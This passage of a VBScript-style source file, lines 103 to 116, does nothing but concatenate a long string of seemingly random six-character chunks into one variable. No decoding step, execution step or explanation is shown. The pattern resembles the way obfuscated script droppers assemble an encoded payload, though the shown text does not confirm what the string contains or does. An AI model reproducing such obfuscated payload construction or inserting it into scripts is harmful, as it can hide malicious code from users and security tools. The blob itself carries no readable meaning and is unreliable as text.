103	str = str & "\|bgltig\|ASKUbv\|7HFDuH\|fJigAS\|KUbv7H\|FQZsLN\|MWfh7g\|fZyWpl\|yGqYiS\|Th3gAU\|ySEz7R\|TlywJS\|iSUDfH\|lJK6Lv\|yWp85G\|7eoSEu\|O1LliN\|JQmdYe\|5GLl5j\|Ye7GTp\|7guQ5u\|hJ7R4e\|MWfzMg\|AeMHfS\|5HbEoS\|Ezy13l\|7gAWKw\|xliRXJ\|MnXh7W\|fJ5202\|oSEj5g\|Az3dpP\|5WqQfH\|lJKNpd\|31qQ5H\|TabgAG\|5S4Ai8\|Ev7ghp\|5WMDbw\|EUi8lW\|oUlWiR\|bv31hl\|y24Ai6\|iSOsiS\|i8Pe36\|LgMHBe\|3Wlc3w\|fFK1XJ\|M2hz7R\|Tzy13l\|7gBpiP\|bY3wFD\|7IXY3w\|xcVnTI\|5SLgMH\|Be3HfJ\|3Wlc3s\|hz7RTz\|y13l7g\|BpVnXY\|5GTJMg\|PJKNpP\|5WqQsw\|yDbwEU\|iPXIyj\|pg7wEj\|7glv5S\|L23wPU\|KwEpkg\|leKsUD\|MWfh3g\|leKs4A\|iR7dKg\|fc56E2\|3w723w\|PUi6QS\|iUhVbf\|l9d8AN\|qux9du\|PNs8lo\|bfxz5H\|3J7HP2\|3fxXKw\|X25GXv\|3nbMMW\|teMWxM\|iSiWKw\|EpkdpP\|5WqQbn\|feyGbp\|5HFDbn\|feyGbp\|5HFQ7G\|Tp7gfp\|5WUYKw\|EpVR3h\|56UD7I\|XY3wxc\|VnTl3G\|72K1bl\|i6iSs8\|tPwfAm\|dJXLdP\|AXquXi\|suEP1R\|Xv3nbG\|y1Tl18\|IpyGTv\|MHAW7P\|x2KHE2\|5P0SiS\|3p5WUc\|iR3h56\|0QiSTs\|bu79uI\|YSijpP\|5WqQbn\|feyGbp\|5HFDbn\|feyGbp\|5HFQyH\|hrMWAv\|76QpoU\|Aei8f2\|MWA2iP\|TlMGft\|3sLo31\|hJoli0\|iNJQyu\|iYiSTD\|MHU0OR\|7cbwB2\|fUXv5n\|fVOgFE\|MlUzKw\|xhyI7P\|OgENMg\|Ae5uf3\|sNlbfG\|XxKgBz"
104	str = str & "\|3wT3wN\|fcfIqx\|K6iSkd\|psms4A\|igP6k6\|iSOnXp\|mRhG58\|fvml3N\|5IPhu1\|hLqW36\|mUmxqn\|iEuf7z\|MwhvmH\|fSwfQI\|5P7umw\|QSiSUD\|ujiQZs\|LhqSQS\|inpzKd\|LF7HxP\|5zTwyW\|AbyfPF\|quTWqj\|TNmuT2\|ofP1MG\|PY5zXl\|yllyXw\|x1fNPY\|iSipol\|iziNJQ\|yuiYiS\|TDMHU0\|OR7cbw\|B2fUXv\|5nfVOg\|FEMlUz\|KwxhyI\|7POgEN\|MgAXKu\|lvmWJ0\|OgEUbf\|7jMwhv\|5lm0wu\|bUZsiS\|kdpsX6\|4AigP6\|k6iSOn\|XpmRhz\|dj3vyj\|lSwdTt\|sflX5d\|L3mjfZ\|5HE1sI\|7uuzP6\|MjfVww\|iEuf7z\|MwhvmH\|fSwfQI\|5P7umw\|QSiSUD\|ujuQZs\|LhqSQS\|inpzKd\|LF7HxP\|5zXxbu\|i2bH3F\|5jlYwf\|QIuGp8\|fJfDbN\|fXfIqE\|s1p8qH\|hoMjfb\|w1XlMW\|B25dLF\|5WbPfH\|XxKgAe\|uzL3bg\|qAiSip\|oliHiN\|JQdgfW\|76hY5G\|XJV6LT\|5lXJMl\|Tl7ShY\|5GXJV6\|iSV2iS\|ksUQTS\|4Sinf2\|56EY7g\|IciSiD\|bWA2ig\|UAm6Lu\|524Hol\|Tv5GqQ\|ZsLjKg\|tY5GXJ\|k8fHyw\|0YiSTs\|iSiWKs\|UpoUlW\|i8leuG\|b2kPTv\|5GqciS\|TXbfbL\|iSipiN\|FQm6Lu\|KgfeoW\|XYKGTv\|5GqQZs\|Ls5HAJ\|oUfFK1\|qQbWA2\|oUfe36\|LT3jpo\|31hJoU\|fe36Lg\|7wEj7g\|lv5jpW\|7wEj7g\|lv5SLi\|31hu5I\|XJMSh6\|Of3h56\|Lz7RTi\|31QpoU\|bp5sLX\|y1QcKR\|bzoUIh\|O64Ai8\|xl5Shz\|7RTi31\|QpoU3v\|MSLpiN\|JQmsLu\|52LXy1\|QQuGbl\|M642oW\|hJM24A\|ighJM2\|4Wi8XY"
105	str = str & "\|MSQSiS\|3YiSiQ\|TSLXKw\|qYMGb2\|sgfFV6\|LpV642\|ksUDdW\|fF7Npi\|31hu5I\|XJMS4A\|ighJMz\|pl5WqQ\|3nfeyG\|bp5HFD\|3nfeyG\|bp5HFQ\|MWfh38\|pz5HFY\|3gPJys\|xJK1bc\|3sx6Of\|3h56Le\|7wJpoW\|EI5s4A\|igEI5s\|4tiN8D\|MGbhMn\|bziNJQ\|KwEz7R\|iY3gPJ\|ys0Sil\|cSiSUr\|mdpl5W\|bziNJQ\|KwEz7R\|iY3gPJ\|ys0Sil\|JSiSUQ\|VsLz7g\|P27RmD\|ywbh7g\|8QZsLt\|KwqY3g\|PJysxz\|7gP27R\|mc3wEU\|M2UD3g\|FQZsLz\|Mgxp76\|hh3gPJ\|ys0Sin\|JcO2iS\|kdpj3g\|PJys4A\|iRX05g\|lJkgbe\|kPf65G\|fe36hU\|5SUt5n\|ftks0S\|iS0SiS\|UD3WA2\|igYQZs\|40iRbv\|iPf65G\|fe36hj\|3gPJys\|UDKwyQ\|KwEz7R\|iYyHbh\|7g8YKS\|Uc7glJ\|5gupiR\|bY3wFD\|5RXJ3g\|PJys4A\|iRX05g\|lJkgXU\|y1bhkg\|YpV6iS\|oSiSkd\|p23wPU\|snXv5S\|4AiRTl\|MgxhyH\|uY5RXJ\|3gPJys\|Qxks0S\|iSiSiS\|iSiS0S\|iSiSkd\|pl5WqQ\|KwyD5W\|fF7Npl\|5WqQ3n\|feyGbp\|5HFDbn\|feyGbp\|5HFQyu\|iYqnlw\|yw0Qyn\|XJMSUD\|qHAeMG\|qQqWPz\|3dyJiN\|JQiSTK\|OfhGfn\|fuMITx\|ugAo5u\|xrsWli\|3J3lbg\|X6y1p3\|OP7Hf1\|bdMlP0\|dHEX58\|taswhR\|3UfUqH\|TLmN82\|mzqIXj\|MFoscv\|iSiDbg\|ltigbm\|3wFciR\|XZ71qD\|ynXJMS\|4AiPTl\|MgxhyH\|uYuWf0\|5gPj3s\|hs31Lc\|ywXlkg\|Tz7Ric\|i6iSi6\|iSV64S\|iSiSks\|0Q7WTu\|ywici6\|iSiSip\|V6LHyU\|X2dgyc"
106	str = str & "\|i6iSiS\|ipoWbm\|3wFQZs\|Lm3wFY\|ynXJMS\|UDbWA2\|igFQZs\|4xiPbv\|igbm3w\|FQuGbl\|M64JoU\|bp5sLe\|bgicig\|XNV6LJ\|qHh2V6\|LUy1bh\|V6Leb2\|0QM8AI\|7Npebg\|iQZs4z\|oWERiN\|JQmNpg\|5GiQyJ\|mQZs40\|iPbviN\|mD78XY\|MS4Ai8\|Ip36hS\|MGb2V6\|Lei6cQ\|yJmciN\|8poUlW\|iRbNKR\|iQZs4S\|ijJSiS\|LuKgfe\|oWE8yS\|4AigE8\|yS4tiN\|8D3gPJ\|ys4AiN\|4Dbwxz\|3dpUy1\|bhiNJQ\|swEd7R\|iYms0Q\|qWPz3d\|yJV6LJ\|qHh2V6\|LHyUTp\|5WP2Ou\|Xv51Lh\|MWupi6\|JQmdpP\|5WqQsw\|yD5UMQ\|Zs4HX6\|4aigER\|i6cQ3g\|PJydpo\|31hJoW\|ERiNJQ\|sgfFkg\|ERkdpe\|b24AiP\|XJMWle\|32QHi6\|JQdgfe\|kgERks\|0QiSi0\|iSipi6\|yQ5UMD\|M8AI76\|4Ai8XY\|MShNqn\|lJ3sQS\|iS3iiS\|iQTSLX\|KwqY5U\|Mcms02\|ksUpi6\|cQqHh2\|k8X6O1\|blk6iS\|TUQSiS\|4Wi8Ip\|36heb2\|0zVNip\|ksUQk2\|LNKRiY\|qJTE7g\|uYiSiW\|s6iSi6\|yQdwlU\|kgERVN\|ucmSUp\|kdpzdG\|fJiNJQ\|MJAI76\|4Wi8xl\|3nqYM8\|AI760Q\|5UbSkd\|po31hJ\|oWP6iN\|JQMJAI\|7NpP5W\|qQbnfe\|yGbp5H\|FSNqp1\|5wlN5H\|Ez7wIl\|MSLvyW\|pN5HEe\|VRbF76\|0SMWte\|MWxt5H\|EGMHyS\|NqpP5W\|qQbnfe\|yGbp5H\|FX6U3I\|5WXJKw\|AeiP7t\|KuXv5n\|XI5wf2\|kgASKW\|Xv5WFc\|7RhJVg\|Xv5nXI\|5wf2kq\|JkdHFQ\|b1T25G\|iQuWfz\|7wIli8\|ElORqX\|6WbeiN\|JQinTr\|5nTc7G\|XWiQJk"
107	str = str & "\|MnfeKw\|EJ31TH\|yw0QZs\|4FmN40\|Nqpz7R\|hJiNJQ\|7RhJNq\|pd31qQ\|y1Xly2\|4AigAS\|KUXv5W\|FebHfJ\|k6TLyG\|bp7Wfd\|yGTpMR\|bP7Wfe\|78Xv5n\|XI5wf2\|iSUeMG\|Lh7HEp\|5nXJyw\|Ej3fBX\|6WPz3w\|me5WPt\|3s4Aig\|Xv5nXI\|5wf2i6\|yQilAj\|5HEz7w\|IlMSiX\|6WPz3w\|meMHX2\|K1LJKw\|En3wEn\|KwEliN\|JQin3S\|MHX2K1\|LJiQJk\|y1Xly2\|EzyGTp\|MRbJ31\|hJiNJQ\|MGbF74\|JkuHfJ\|igPz3w\|X0y1bY\|iNJQy1\|Xly2E0\|71b9Nq\|pd31qQ\|K1bp5w\|f2iNJQ\|5HTaqH\|Ae5SER\|31qYil\|A9swEJ\|31THyw\|xuKwIl\|MUleMG\|b27wXJ\|KwAeiS\|UeMGLh\|7HEp5n\|XJywEj\|3fBX6W\|lJKwIl\|MSEJKw\|IlMWlU\|iNJQ3g\|FQTS4S\|1HlJKw\|IlMSiX\|6WlJKw\|IlMSEp\|5nblMn\|3h5gTl\|7R7l3w\|El7Wfe\|7RmQZs\|L27wEp\|5nblMn\|3h54Jk\|K1bp5w\|f2VnXr\|K1Lp3n\|LhMGXl\|364Ai8\|3h5RXl\|Nqpp7g\|lt31ie\|MRfJ10\|JkuHfJ\|igfH7g\|3c764A\|igASKU\|Xv5WFe\|bHfJk6\|T91JfH\|3wEJbW\|lc7gf2\|iSUeMG\|Lh7HEp\|5nXJyw\|Ej3fBX\|6WfH7g\|3c76Ee\|ywIliN\|JQ3gFQ\|TS4S1H\|3p5Rbl\|MSiX6W\|fH7g3c\|76Ex7w\|f2Os4A\|i6Tz3w\|xlyGqQ\|kSLWMW\|AtiPA9\|7glt31\|Tl7Wfe\|76LGKg\|f23sLJ\|KwIlMW\|lUZsiS\|iS4Wig\|bei6yQ\|ilAp7g\|lt31iS\|iSiX6W\|fH7g3c\|76Ex7w\|f2Owxh\|5W7Iyw\|7liNJQ\|in7x56\|iX6lXl\|76LW5R\|b0y1bY\|iNJQ31\|3J3WxJ"
108	str = str & "\|VnLI7P\|BX6lXl\|76LWyH\|Te364A\|igASKU\|Xv5WFe\|bHfJk6\|T91J3p\|5RblMl\|bvqHAe\|MGft31\|T6KwEU\|KwEniS\|UeMGLh\|7HEp5n\|XJywEj\|3fBX6W\|3jyWEU\|VWXv5n\|XI5wf2\|iNJQy1\|XlyGLh\|7gQeMg\|PJK4Jk\|3WXS5W\|qebWlc\|7gf2iN\|JQ3WxJ\|MgPJK6\|E0y1bY\|NqpWyH\|Te36E0\|71b9Nq\|pP5WqQ\|bnfeyG\|bp5HFX\|6U3I5W\|XJKwAe\|iR72K1\|bluUyY\|3gl2kq\|JkdHFQ\|b1T25G\|iQuWfz\|7wIli8\|ElORqX\|6Ubp5s\|LGMWyX\|6lXl76\|LGMWyQ\|ZsLgMH\|BeqGTl\|y1blfg\|fF783p\|5guY3g\|l2i6yQ\|ilbXu6\|Eudf4S\|VPb27w\|ucbWPc\|MHupNq\|pGMWye\|7GTp7g\|uQuUyX\|6n723S\|EN5gAz\|3qJkbn\|XvVWXv\|MRlWKw\|xliP7d\|yGTpMR\|qeMHX2\|K1LJ3n\|fc5gEh\|5wuc3g\|l2i6yQ\|in7p5n\|XJy1TJ\|Vn7z3S\|icfRTI\|3qJkbw\|EUi83I\|5WXJKw\|AeNqpg\|7wEj7g\|lv5SLz\|3wP2yH\|hWk6UX\|6UAei8\|f2MWA2\|iPTlMG\|ft3sLo\|31hJNq\|pd31qQ\|5HTabW\|lc3s4A\|i83z52\|EvMgfe\|fgfF78\|3p5guY\|KwEz7g\|Pc5gbp\|MSySf8\|JGmzmz\|VlbXu6\|icmsUX\|6nXly1\|TUiNJQ\|5HTabW\|lc3sE2\|3wPU5g\|le3qJk\|5HTabW\|lc3sEj\|5gAz3q\|JkMGbh\|MnbzyH\|QQMHfh\|MWqX6U\|fe36Lg\|7wEj7g\|lv5QJk\|bnfeyG\|bp5HFQ\|MGbhMn\|bzyHQY\|MgPJK6\|UX6UAe\|i8f2MW\|A2iPTl\|MGft3s\|Lo31hJ\|NqpT3S\|L0y1bY\|iNJQiS\|iQfghl\|5QJkbW\|A2i8fh\|yHQQ3R\|Tp7WuQ"
109	str = str & "\|swFQbn\|XvVUb2\|K13lM0\|JkMHfh\|MWXYbW\|lc3sLU\|MWlH3s\|Eqy1bY\|Nqpo31\|hJNqpP\|5RXlNq\|pz3Wxh\|324Ai8\|3h5RXl\|NqpU3W\|xh324A\|i83h5R\|XlNqpT\|3SLT5l\|XJMShm\|qHPz3s\|h0y1bY\|ks0S16\|ipiNJQ\|m6LuKg\|feNqp0\|y1bYiN\|JQMgPJ\|K6yS16\|iX6Ufe\|36LT3Q\|Jk71Tc\|iNJQdg\|fW76h0\|y1bYV6\|LT5lXJ\|MlTl7S\|h0y1bY\|V6TMiS\|UtmsUX\|6U3v5g\|blMS4A\|iPX05g\|lJkRLh\|7gQcil\|0SkqJk\|bWA2i8\|fhyHQQ\|5H3v5g\|blMSLT\|5SLgMH\|Be3HfJ\|3WAc3g\|f2k6LI\|MW0Wil\|0Si6Ue\|MGfS3W\|Ac3gf2\|M0Jksw\|yQMH3c\|ywMQZs\|LuMnfl\|iPbY3w\|FX6nXl\|y1TjK8\|3p5guQ\|5H3v5g\|blMSE0\|y1bYNq\|pP5WqQ\|swyX6U\|lWi83v\|5gblMS\|hfqWAI\|5WqYbW\|Ac3gf2\|ksUQZs\|Lv3WAc\|3gf2VW\|Eh5wuQ\|fghl5Q\|JkMH3c\|ywMQZs\|LuMnfl\|NqpP5W\|qQswyX\|6UElOR\|qX6UlW\|i8leuG\|b2kRf2\|560S16\|ipiNFQ\|m6LuKg\|feNqpz\|7gP27R\|XjK6LI\|MW0X6U\|fcMHuX\|6U3vMS\|LPywXY\|igb2K1\|3li8le\|i83z52\|E8MWlH\|31mX6U\|lWigbW\|5gPniN\|JQfRTI\|3sLuKg\|feNqpz\|3wP2yH\|hgKwxl\|igb2K1\|3lVnLh\|7gQX6U\|fe36LT\|3QJksw\|yQd8Xh\|MHuY71\|Tcks4A\|i8xNy1\|Xlkgb2\|K13lVn\|Lh7gQp\|iPbY3w\|FX6WbW\|5gPniN\|JQfRTI\|3qJkbw\|EUi8lW\|Nqpo31\|hJNqpP\|5WqQsw\|yX6Ufe\|36LT3Q\|JkbwEU\|i83I5W\|XJKwAe\|Nqpg7w\|Ej7glv"
110	str = str & "\|5SLR31\|bdK1pl\|k6UX6U\|Aei8f2\|MWA2iP\|TlMGft\|3sLo31\|hJNqpt\|iNJQiU\|JAiS3g\|MHBebH\|fJbWlc\|3shp5n\|XJywxc\|3gl2TS\|TGKwEz\|7gP27P\|xtKwEl\|MSElOg\|uSksEz\|K1plNq\|pUiNJQ\|iUqAiS\|4Wi83z\|52ER31\|bgKwxl\|kgleMG\|bh5gxU\|K1iQTS\|4SMWte\|MW0ef8\|Iqmsip\|VnXpOW\|uX6WuQ\|Zs4Sbd\|JSi6yQ\|bnXvVU\|7l783p\|5guYKw\|Ez7gPc\|5gbpMS\|4Wi6T2\|KHE256\|Eudf42\|iSUeMH\|lD3qJk\|bHfJuH\|lD3s4A\|igJWin\|0STWqW\|in0STW\|uX6Ufe\|36Lg7w\|Ej7glv\|5QJkbn\|feyGbp\|5HFQMH\|fhMWXY\|bWlc3s\|h0y1bY\|kqJkdH\|FQb1T2\|5GiQuW\|fz7wIl\|i8ElOR\|qX6n7p\|5WbpMS\|4Ai8xN\|y1Xlk8\|3z52En\|31bzMg\|fjKwPc\|3WAc3g\|f2kN4p\|kqJkbW\|A2i8fh\|yHQQ5H\|TabWlc\|3sLT5S\|LgMHBe\|3HfJ3W\|Ac3gf2\|k6L0y1\|bYi6Ue\|3Wlc31\|mX6W3e\|ywIliN\|JQd8Xh\|MHuY5H\|Ta3Wlc\|3sE0y1\|bYkqJk\|yHhr3W\|lc3wEh\|5wuQ3W\|Eh5wuX\|6UElOR\|qX6nXY\|3wxc5H\|TaVnTl\|3G72K1\|bli6Ti\|sJf31J\|xZqJPm\|1JILqJ\|hTdUfM\|MHAW7R\|7hMWfM\|dwljMW\|Az5H3J\|1RTr5n\|Tc1RX0\|y1bYiS\|0QMgPJ\|K64ci6\|Tsbu79\|uIYSNq\|pd31qQ\|5HTabW\|lc3s4A\|i83z52\|ENMWfh\|7gfu31\|hJbWlc\|3shp5n\|XJywxc\|3gl2TS\|TuddMz\|mzmef8\|IqiSxu\|MnflV8\|3h5RXl\|kqJk5H\|TabWlc\|3sEGMW\|lJ3wxp\|5WuQMg\|PJK4Jk\|5HTabW\|lc3sEj"
111	str = str & "\|5gAz3q\|JkbWA2\|i8fhyH\|QQ5HTa\|bWAc3g\|f2i8le\|i83z52\|En31bW\|5HxU31\|iYiRLh\|7gQQks\|Ez7wTW\|5HxU31\|TzNqp1\|uHX2K1\|LJVlXc\|3wf0iN\|8X6UlW\|i8leuG\|b2k8xN\|y1Xlkg\|ASKU3v\|5gblMS\|E0y1bY\|ksxGKw\|EUK1ip\|iNJQm6\|LL5WqQ\|swEd7R\|iYd8Xh\|MHuY5H\|TabWAc\|3gf2Vn\|Lh7gQp\|V6izXj\|4Sks4A\|iN4Qfg\|hl5QJk\|MHfhMW\|XYbWlc\|3sLvyW\|pW5HxU\|31ieMg\|PJK4Jk\|bwEUi8\|lWNqpo\|31hJNq\|pP5WqQ\|bnfeyG\|bp5HFX\|6U3I5W\|XJKwAe\|igXYKH\|3p5gfe\|ywIlkg\|Eh5wup\|NqpZ5S\|LPMnTv\|MSLs31\|XI5wuQ\|dWfF74\|JkMHXY\|dWPt3s\|4Ai8Ip\|36heyw\|IlV8le\|uGb2uW\|fHkgEh\|5wucil\|0Skscx\|kqJkyH\|hziNJQ\|qHh2f2\|Q2md8H\|msUWqH\|h2f2Qz\|XdMHm6\|UWin0S\|TUXYMl\|MYmjmJ\|odqpTU\|XYMlMY\|mz4Gmj\|8pTSTB\|iS3NKR\|T1kNiz\|XNUJks\|3NKRT1\|kNmFmN\|uzksyS\|96iWqH\|h2f2Q2\|md8ImS\|UWqHh2\|f2Q2mz\|qEX6UW\|in0STU\|XYMlMY\|mz8xod\|ipTUXY\|MlMYmz\|Q0Xdmp\|TSTBiS\|3NKRT1\|kNmxmd\|yEks3N\|KRT1kN\|mFmNuz\|ksyS96\|iWqHh2\|f2QzoN\|4HXsUW\|qHh2f2\|Q2mdiI\|m2UX6W\|yxiNJQ\|uGLcK1\|qYin7h\|5gxl7R\|xl7ghl\|MWfI51\|xI7gmt\|V1xtOw\|fJKRxt\|5Wft5H\|EpyGxz\|3wX231\|br31lB\|yWlJyH\|Ap5nxt\|OwTJyG\|xt5HEl\|MWAB5w\|fJywIh\|MHtB5g\|fU3Hf2\|9RbvKH\|fe96iW\|yHhzV6\|TBiSUX"
112	str = str & "\|6Wy2iN\|JQuGLc\|K1qYiW\|bl3WPI\|5Rqey1\|X09gbl\|3WPI5R\|qeMgh0\|9gbl3W\|PI5Rqe\|KRbt9g\|bl3WPI\|5RqeKR\|bt5Rxp\|5WblO6\|EhMGLB\|KwEU31\|QeMgh0\|9gle3g\|fFVWhJ\|51xp5W\|blO6EY\|7gIc9g\|lpMGXJ\|y1TJVW\|hJ51xt\|ywleVW\|hJ51xt\|ywleVW\|hJ5w0S\|V6TBiS\|UX6WXv\|5nqQZs\|4SZRXj\|MWl07N\|EHy1iQ\|OjIU5H\|XI5wfe\|76EjMW\|fh7gfP\|5gft3w\|EJk6iS\|MHX2K1\|LJiSip\|oGYeMG\|TjZsiS\|mwpzmj\|3jMzy2\|yzbIyj\|fj7RiJ\|XwpzmW\|hJ5dqS\|iSE231\|LcywXl\|k6BxV2\|0SiWhJ\|7R4DV2\|BSiSUe\|MWf05g\|Pj3sQv\|mSAnV6\|iSVSiS\|ksE231\|LcywXl\|k6BJVH\|MciSTc\|iSipVn\|TlMgxh\|yHuYVz\|uv320S\|iSBSiS\|UC3gAj\|7wIl5n\|qe3HfJ\|bwxl5w\|fe7RX6\|Ofbh3J\|Eh5wuY\|iSTibu\|P8iSip\|wzL7VW\|P0Mgfe\|38XYKw\|xUkRYp\|o2iSV2\|AH9R3M\|16iSoz\|0vMHX2\|K1LJZS\|iX6U3v\|MSLPyw\|XYigUQ\|swFQ3j\|8X6UlW\|i8leuG\|b2k8xN\|y1XlkR\|XjK8Eh\|5wupVg\|UpiNFQ\|m6LuKg\|feNqpd\|31qQM2\|4Ai83z\|52ER31\|bgKwxl\|kgEh5w\|upNqpT\|3SLzVn\|XpOWuQ\|Z64xmd\|8xmd8x\|iPbY3w\|FX6nf0\|5gAh36\|LeywIl\|VghvMG\|qX6l7d\|yGTpMR\|qeuHxl\|314Qmj\|40m4Jk\|bwEUi8\|lWNqpP\|5WqQsw\|yX6UEl\|ORqX6U\|3vMSLP\|ywXYig\|UQswFQ\|3jiX6U\|lWi8le\|uGb2k8\|xNy1Xl\|kRXjK8\|Eh5wup\|VgUpiN\|FQm6Lu\|KgfeNq\|p23g3p"
113	str = str & "\|5guQZs\|Ls3wPU\|fgfF78\|3p5guY\|5WPt3s\|0Sffbg\|VdQSkq\|JkswyQ\|dWAJi8\|leuGb2\|kRTU3W\|lc3s0S\|V2AH9R\|3M16ip\|iNFQm6\|LuKgfe\|NqpGMW\|lJ3fbl\|ORqQ5W\|Pt3sx2\|3g3p5g\|uWqHh2\|kN8zks\|3NKRiY\|md4pTW\|Xv5nqc\|ilfubS\|JFiQJk\|bwxz3q\|JkMWf0\|5gPj31\|bvigEh\|5wucyH\|Ae760S\|V2AH9R\|3M16iX\|6Ufe36\|LT3QJk\|bwEUi8\|lWNqpo\|31hJNq\|pP5WqQ\|bnfeyG\|bp5HFX\|6lXIyS\|LjKgtv\|MWblMS\|hj5wqc\|KgAz7g\|PU3Rip\|NqpZ5S\|LPMnTv\|MSLs31\|XI5wuQ\|dWfF74\|Jkb1T2\|VUXc3w\|P2Nqpd\|3wxlyG\|qQqHPz\|3sLj5w\|qQkN8p\|NqpNy1\|Xli6Tl\|OgXlyG\|fJ3siX\|6nLhMW\|PtiNJQ\|yHIUi6\|Q2kqJk\|b1hlyG\|fJ3sL0\|y1Th5q\|JkqHPz\|3s4SMn\|fe31hl\|iQJkMg\|P2ywJQ\|ZsLj5w\|qQkNip\|NqpzKg\|fc5gAS\|KSE27w\|FQMgP2\|ywJcm4\|JkqHPz\|3s4SMH\|fe36iX\|6Wbv7H\|Ec5HPU\|igXt36\|4YmSUc\|yHIUi6\|Qzksxj\|5wqQkN\|qpVgXt\|364YXs\|UX6UXh\|MHuQin\|TlyGyS\|Nqp0y1\|Th5s4A\|igXt36\|4YmSUX\|6nf05g\|Ah36L0\|y1Th5s\|xY5GXJ\|ywbUMQ\|JkqHPz\|3s4SMH\|xpMGqS\|Nqpe31\|7z31TH\|31iQyH\|IUi6Q2\|kqJkqH\|Pz3s4S\|5WfGiQ\|JkKgPU\|3RiQZs\|Lj5wqQ\|kNipNq\|pz5gfl\|M64AiN\|u0mN4X\|6WEI5s\|4AiN8X\|6UhW5g\|PniNJQ\|iWQSNq\|ptywle\|ighh3g\|b2NqpN\|y1Xli6\|Tj7RTc\|Vwb2K1\|3lMSiX\|6nLvMG\|qQiWlz"
114	str = str & "\|VwXJMW\|0t3RTp\|7Wf2iS\|xj7RTc\|3RTp7W\|f2Vghv\|MGbh3g\|b2NqpN\|y1Xli6\|Tj7RTc\|Vw3h3S\|iX6nLh\|MWPtiN\|JQyHIU\|i6Q2kq\|JkMgAz\|764SK1\|mtyGb2\|56IWyw\|ySVgXJ\|MWxWyw\|yQkRLh\|MWPtks\|xY5GXJ\|ywbUMQ\|JkqHPz\|3s4S3H\|fJVw3h\|3SiX6n\|LhMWPt\|iNJQyH\|IUi6Q2\|kqJkMg\|Az764S\|K1mt3H\|fJVw3h\|3SicMW\|fh3g3p\|5guQkR\|LhMWPt\|ksxY5G\|XJywbU\|MQJkqH\|Pz3s4S\|yGb256\|I0MWAj\|31XziQ\|JkMgAz\|764SK1\|mtyGb2\|56I0MW\|Aj31Xz\|iSxj7R\|TcMRTv\|yHfzM2\|xY5GXJ\|ywbUMQ\|JkqHPz\|3s4SyH\|IUVwA2\|3gf2iQ\|JkMgP2\|ywJQZs\|Lj5wqQ\|kNipNq\|p05GXJ\|i6TpM2\|Ij5wqt\|5GTU31\|iSVgXt\|3RXY3w\|xci6h0\|y1Th5s\|UcKgAz\|7gPU3R\|iX6UXh\|MHuQiW\|bl5gfJ\|3siX6n\|LhMWPt\|iNJQyH\|IUi6Q2\|kqJk3g\|fc31bl\|3WPWi6\|h0y1Th\|5sUX6U\|XhMHuQ\|iWfFK1\|qtMRTv\|yHfzM2\|iX6nLh\|MWPtiN\|JQyHIU\|i6Q2kq\|Jk31hp\|7RL25H\|XlMGmQ\|kRLhMW\|PtkqJk\|qHPz3s\|4SMHxl\|314SNq\|p0y1Th\|5s4Aig\|Xt364Y\|mSUX6n\|Xc3wf0\|iNJQb1\|3h564Y\|MgP2yw\|JpNqpP\|5WqQuH\|fc3wXJ\|NqpP5W\|qQuGfS\|Nqpg7w\|Ej7glv\|5SLp5n\|XJywEj\|3sQpNq\|pZ5SLP\|MnTvMS\|Ls31XI\|5wuQdW\|fF74Jk\|bgltig\|3I5gx0\|y1bYVg\|leMGLh\|7gQcfH\|IpNqpd\|31qQ3n\|fc5RLh\|7gQQZs\|LgMHBe\|3HfJ3W\|lc3s4Y\|fIXjMW\|l076Ez"
115	str = str & "\|yGTpMR\|bW7wxc\|5WPt3s\|UX6lXl\|76Lp5n\|X0y1bY\|iNJQbn\|XvVW7l\|7g3p5g\|uQkgle\|MGbh5g\|xUK1iQ\|TSLp5n\|XJywxc\|5WPt3s\|UX6UlW\|i8xNy1\|Xli6hW\|7wxcMg\|PJK6Ez\|KgA27R\|Lh7gQp\|iN0+i8\|xNy1Xl\|i6hp5n\|X0y1bY\|VnXY5G\|TJMgPJ\|K6UQfg\|hl5QJk\|7WP2Kw\|PJKwAe\|NqpzKg\|fc5gAS\|KSE27w\|FQin7z\|yGTpMR\|qe31hl\|i6BvqS\|4Si6yQ\|qHh2kN\|mJks4W\|igleMG\|bh5gxU\|K1iQTS\|Lp5nXJ\|ywxc5W\|Pt3s4W\|i8XYMS\|QzX6UX\|6l7dyG\|TpMRqe\|M1fp74\|JkbwEU\|i8lWNq\|pPMnie\|yHxly1\|iX6lXl\|76Lv5W\|fv5WXl\|iNJQbn\|XvVWA0\|3wEJ31\|hJ3Wlc\|3s4YKw\|Ez7gPc\|5gbpMS\|4Wigle\|MGbh5g\|xeywIl\|i60FV6\|Lgywxz\|3sUX6l\|Xl76Lv\|5Wfv5W\|XlmS4A\|i83z52\|EvMgfe\|7gfF7g\|3p5guQ\|kgleMG\|bh5gxU\|K1iQTS\|4Sf8Iq\|VlbXu6\|iQVNQc\|i83h5R\|XlkqJk\|fIXjMW\|l076Ez\|5gflM6\|4ImN40\|Nqpd31\|qQfHIp\|Zu7l78\|ASKWfj\|76QS7H\|le5w7t\|7RmD1P\|0e1RTv\|5GbMyH\|lt7jiS\|kqJkuH\|fJiRL2\|5GmAfH\|IpVWfF\|3wXx7w\|f2OsQS\|MHfc3w\|XJi6YQ\|3nTv5s\|LGKwFz\|mlA0MW\|Aj31Xz\|iR7Y31\|TligEh\|5wuATG\|7zyGTp\|MRqe31\|hlT2ip\|NqpFiN\|JQm4Jk\|Os4AiN\|4X6nYQ\|Zs40Nq\|pg5GiQ\|bwPjK6\|Lti8le\|iRL25G\|mX6UlW\|i8leuG\|b2k8xN\|y1Xlkg\|JeqHAt\|5wPe38\|xp5Wup\|V6ThMG\|ley2ip\|iNFQm6\|LuKgfe"
116	str = str & "\|NqpFiN\|JQO64r\|iN8X6U\|fcMHfT\|3SLT5l\|XJMShm\|qHPz3s\|htVUXv\|5wIh5W\|bmKwEl\|ksxmqH\|Pz3shg\|MHBe3H\|fJMGLl\|yHlh5g\|3v5gbl\|MSQ0ks\|4Wi6TM\|f8fXuP\|0Si6yQ\|KwEz7g\|Pc5gEh\|5wupks\|4+iN4Q\|fghl5Q\|JkOs4A\|iRUQk2\|4xNqpP\|5RXlNq\|pDiNJQ\|OS4riN\|8X6Ufe\|36LT3Q\|JkdWfF\|74Jksw\|yQfIXj\|MWl076\|ELMW7I\|5wfe7R\|meyHAI\|5nqQZS\|40iPbY\|3wFX6U\|lWiP7d\|yGTpMR\|qeq1Tn\|7wIl5n\|bzkN4p\|iNJQiW\|PzOwEj\|iSLuKg\|feNqpT\|3SLFiN\|FQmsLu\|KgfeNq\|p1uHX2\|K1LJVn\|PIK1qX\|6Ufe36\|LT3QJk\|bwEUi8\|lWNqpP\|5RXlsw\|yQd8Xh\|MHuYdg\|fW76hp\|5nXJyw\|xc3gl2\|VN80ks\|U